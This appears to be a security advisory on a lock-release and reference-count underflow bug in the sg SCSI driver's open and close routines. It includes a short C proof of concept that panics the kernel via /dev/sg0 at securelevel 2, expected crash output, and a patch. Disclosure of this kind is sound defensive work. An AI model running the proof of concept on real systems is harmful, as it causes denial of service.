Summary

sgopen is missing the cam_periph_acquire() call that the sibling pt driver (scsi_pt.c) makes at the top of its open routine. In the securelevel > 1 error path, cam_periph_unlock(periph) is called at line 396 BEFORE cam_periph_lock(periph) is ever called (the lock is acquired at line 400, after the check). This releases a lockmgr lock that the current thread does not own. Additionally, every cam_periph_release() call in sgopen (lines 397, 414) and sgclose (line 437) drops a reference that was never acquired, causing the periph refcount (u_int32_t, initialised to 0 at cam_periph.c:215) to underflow to 0xFFFFFFFF.

Root cause

Compare sgopen (scsi_sg.c:374-418) with ptopen: ptopen calls cam_periph_acquire(periph) BEFORE locking and BEFORE any error-path release. sgopen skips the acquire entirely.

This means:

(a) At lines 395-399, the securelevel > 1 path calls cam_periph_unlock(periph) — but cam_periph_lock has NOT been called yet (it is called at line 400). cam_periph_unlock calls lockmgr(periph->sim->lock, LK_RELEASE) (cam_sim.c:64-70). Releasing a lockmgr lock you don't own is a lockmgr violation that panics the kernel under INVARIANTS and corrupts lock state in production builds.

(b) The cam_periph_release(periph) at line 397, 414, and sgclose line 437 all decrement periph->refcount (u_int32_t, cam_periph.h:123) which started at 0. Each release underflows it to 0xFFFFFFFF (first call), 0xFFFFFFFE (second call), etc. This permanently prevents the periph from being freed via cam_periph_release (cam_periph.c:341-378 checks refcount == 1 for the free path, which can never be reached after underflow). The periph and softc are leaked for the lifetime of the system.

/* scsi_sg.c:388-418 — the bug */
periph = (struct cam_periph *)ap->a_head.a_dev->si_drv1;
if (periph == NULL)
    return (ENXIO);
/* !!! no cam_periph_acquire(periph) here */

if (securelevel > 1) {
    cam_periph_unlock(periph);     /* unlock without prior lock */
    cam_periph_release(periph);    /* release without prior acquire — refcount underflow */
    return(EPERM);
}
cam_periph_lock(periph);
...
/* normal-path release at line 414 also has no matching acquire */

Threat model & preconditions

• Attacker position: Local root (SYSCAP_RESTRICTEDROOT is required by sgopen line 385).
• Privileges gained or impact:
• Lock-state corruption panic (immediate): triggered by any root-level process calling open() on /dev/sg* when securelevel > 1. In hardened server configurations that set securelevel > 1, any administrative tool, backup agent, or monitoring daemon that probes SCSI devices triggers an immediate kernel panic (lockmgr assertion failure or lock state corruption). Reliable local DoS.
• Refcount underflow + memory leak (latent, all configs): every open/close cycle underflows the periph refcount, and the corrupted refcount prevents proper device teardown on hot-unplug.
• Required config or capabilities: Default kernel with sg configured. Root to trigger.
• Reachability: open("/dev/sg0", O_RDWR) as root. The securelevel > 1 panic requires sysctl kern.securelevel=2; the refcount underflow happens on every open/close in every config.

Proof of concept

Trigger the panic (root + securelevel > 1)

#include <fcntl.h>
#include <unistd.h>
int main(void) {
    /* As root, first raise securelevel: sysctl kern.securelevel=2 */
    int fd = open("/dev/sg0", O_RDWR);
    /* Kernel panics here: lockmgr LK_RELEASE on unowned lock */
    if (fd >= 0) close(fd);
    return 0;
}

Trigger the refcount underflow (any securelevel)

Open and close /dev/sg0 repeatedly as root; each cycle calls cam_periph_release on a zero refcount, underflowing periph->refcount. Hot-unplugging the SCSI device after this fails to free the periph (memory leak, observable via vmstat -m M_CAMPERIPH).

Build & run

cc -o sg_panic sg_panic.c
sudo sysctl kern.securelevel=2
sudo ./sg_panic

Expected output

INVARIANTS kernel:

panic: lockmgr: LK_RELEASE on unowned lock
cpuid = 0
Trace:
lockmgr() at kern_lock.c:...
cam_periph_unlock() at cam_sim.c:65
sgopen() at scsi_sg.c:396
spec_open() at ...

Production kernel: silent lock state corruption; later lock operations on periph->sim->lock may deadlock or panic in unrelated code paths.

For the underflow (any kernel):

(open /dev/sg0; close /dev/sg0) x N as root
vmstat -m | grep CAMPERIPH    # shows monotonically growing allocation count

Impact

Local DoS via kernel panic (lockmgr LK_RELEASE on unowned lock) when securelevel > 1 and any root tool opens /dev/sg*. Persistent memory leak + broken hot-unplug cleanup on every open/close in any configuration. Requires root, hence Medium rather than High.

Recommended fix

Add cam_periph_acquire() after fetching periph (mirroring scsi_pt.c), and remove the spurious unlock in the securelevel path:

--- a/sys/bus/cam/scsi/scsi_sg.c
+++ b/sys/bus/cam/scsi/scsi_sg.c
@@ -386,9 +386,12 @@ sgopen(struct dev_open_args *ap)
    periph = (struct cam_periph *)ap->a_head.a_dev->si_drv1;
    if (periph == NULL)
        return (ENXIO);
+   if (cam_periph_acquire(periph) != CAM_REQ_CMP)
+       return (ENXIO);

    /*
     * Don't allow access when we're running at a high securelevel.
     */
    if (securelevel > 1) {
-       cam_periph_unlock(periph);
        cam_periph_release(periph);
        return(EPERM);
    }

This matches ptopen's pattern: acquire first, then release in every error/exit path. The normal-path releases at line 414 and sgclose line 437 now correspond to the new acquire.

References

• sys/bus/cam/scsi/scsi_sg.c:388-418 — sgopen (no acquire; unlock without lock)
• sys/bus/cam/scsi/scsi_sg.c:421-441 — sgclose (release without acquire)
• sys/bus/cam/scsi/scsi_pt.c — ptopen shows the correct acquire-then-release pattern
• sys/bus/cam/cam_periph.c:215, 341-378 — refcount init (0) and release-or-free logic
• sys/bus/cam/cam_sim.c:64-70 — cam_periph_unlock calls lockmgr(LK_RELEASE)
• CWE-667 Improper Locking; CWE-911 Improper Update of Reference Count

Timeline

• 2026-07-14 Discovered during automated audit.